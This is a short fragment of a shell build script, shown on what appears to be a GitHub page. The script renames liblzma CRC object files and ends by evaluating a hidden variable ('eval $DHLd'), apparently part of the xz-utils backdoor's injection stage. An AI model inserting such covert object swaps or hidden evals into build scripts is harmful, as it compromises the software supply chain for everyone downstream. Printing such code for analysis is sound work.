| mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true | |
| mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true | |
| fi | |
| else | |
| mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true | |
| fi | |
| rm -f liblzma_la-crc64-fast.o || true | |
| fi | |
| eval $DHLd |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment